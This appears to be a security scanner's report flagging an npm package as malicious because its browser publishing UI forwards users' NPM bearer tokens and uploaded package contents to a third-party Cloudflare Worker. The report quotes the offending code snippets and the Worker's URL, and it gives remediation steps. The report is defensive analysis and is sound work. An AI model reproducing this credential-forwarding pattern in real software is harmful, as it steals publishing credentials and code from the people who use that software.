Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. When a user publishes from a browser, the package sends their NPM bearer token and selected package data to a third-party Worker. The Worker is not the NPM registry and can receive both credentials and uploaded contents. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 96.0% - **Started:** 2026-09-14T03:46:12.123Z - **Finished:** 2026-09-14T03:46:57.468Z - **Download time:** 769 ms - **Static scan time:** 20 ms - **AI review time:** 44555 ms - **Total time:** 45345 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** When a user publishes from a browser, the package sends their NPM bearer token and selected package data to a third-party Worker. The Worker is not the NPM registry and can receive both credentials and uploaded contents. - **Trigger:** A user opens the web entrypoint, selects a file, and clicks Publish Link. - **Impact:** The Worker can capture NPM publishing credentials and uploaded package contents. - **Evidence paths:** app.js - **Review source:** ai\_review - **Reviewed:** 2026-09-14T03:46:57.468Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Credential and package-payload forwarding through a third-party proxy. - **Attack narrative:** The browser UI collects an NPM token, persists it locally, packages the selected file or ZIP contents, and uses a Cloudflare Worker as the publishing endpoint in normal browser use. The request includes the token in an Authorization header and the full package payload. This exposes the credential and package contents to an endpoint outside the NPM registry. - **Rationale:** The package deliberately forwards NPM bearer credentials and selected package data to an unrelated Worker during its advertised publishing flow. Although user-invoked and without install hooks, this is concrete credential and data exfiltration. - **Network endpoints:** https://dawn-salad-6ee1.vihaanb0715.workers.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 96.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The page saves NPM authentication tokens in browser local storage., Browser use routes publishing through an unrelated Cloudflare Worker instead of the NPM registry., The request sends the bearer token and uploaded package payload to that Worker., Selected ZIP contents are base64 encoded into the transmitted payload. - **Evidence against:** There are no npm install lifecycle scripts., The network request requires a user clicking the publish button. ## Affected versions and remediation This report applies to @vbansal67/npm-publishing@1.0.0. - Avoid installing @vbansal67/npm-publishing@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3.

High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** index.html - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** app.js - **Public source:** [View source]() The page saves NPM authentication tokens in browser local storage. Public source snippet (untrusted): ```javascript // Load saved NPM token from localStorage if available if (tokenInput) { const savedToken = localStorage.getItem('npm_auth_token'); if (savedToken) { tokenInput.value = savedToken; } tokenInput.addEventListener('input', () => { localStorage.setItem('npm_auth_token', tokenInput.value.trim()); }); ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** app.js - **Public source:** [View source]() Browser use routes publishing through an unrelated Cloudflare Worker instead of the NPM registry. Public source snippet (untrusted): ```javascript // Detect environment: Native app uses direct fetch; UNPKG / web browsers use Cloudflare proxy const isNativeApp = window.Capacitor?.isNativePlatform() || window.location.protocol === 'file:'; const finalEndpoint = isNativeApp ? `https://registry.npmjs.org/${encodedPackageName}` : `${WORKER_URL}/${encodedPackageName}`; ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** app.js - **Public source:** [View source]() The request sends the bearer token and uploaded package payload to that Worker. Public source snippet (untrusted): ```javascript // 4. Send Request const response = await fetch(finalEndpoint, { method: 'PUT', headers: { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** app.js - **Public source:** [View source]() Selected ZIP contents are base64 encoded into the transmitted payload. Public source snippet (untrusted): ```javascript const cleanPath = relativePath.replace(/^[^/]+\//, ''); statusElement.innerHTML = `Extracting (${i + 1}/${entries.length}): ${cleanPath}`; const base64Content = await zipEntry.async('base64'); attachments[cleanPath] = { content_type: 'application/octet-stream', data: base64Content, length: base64Content.length }; ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @vbansal67/npm-publishing - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-09-11T20:57:12.968Z - **Package first seen:** 2026-09-14T03:46:57.468Z - **Package last seen:** 2026-09-30T05:33:40.299Z - **Known versions:** 2 - **Latest version:** 0.0.1-security - **Appeal under review:** No - **Description:** Web - **Artifact files:** 3 - **Artifact unpacked size:** 10,377 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
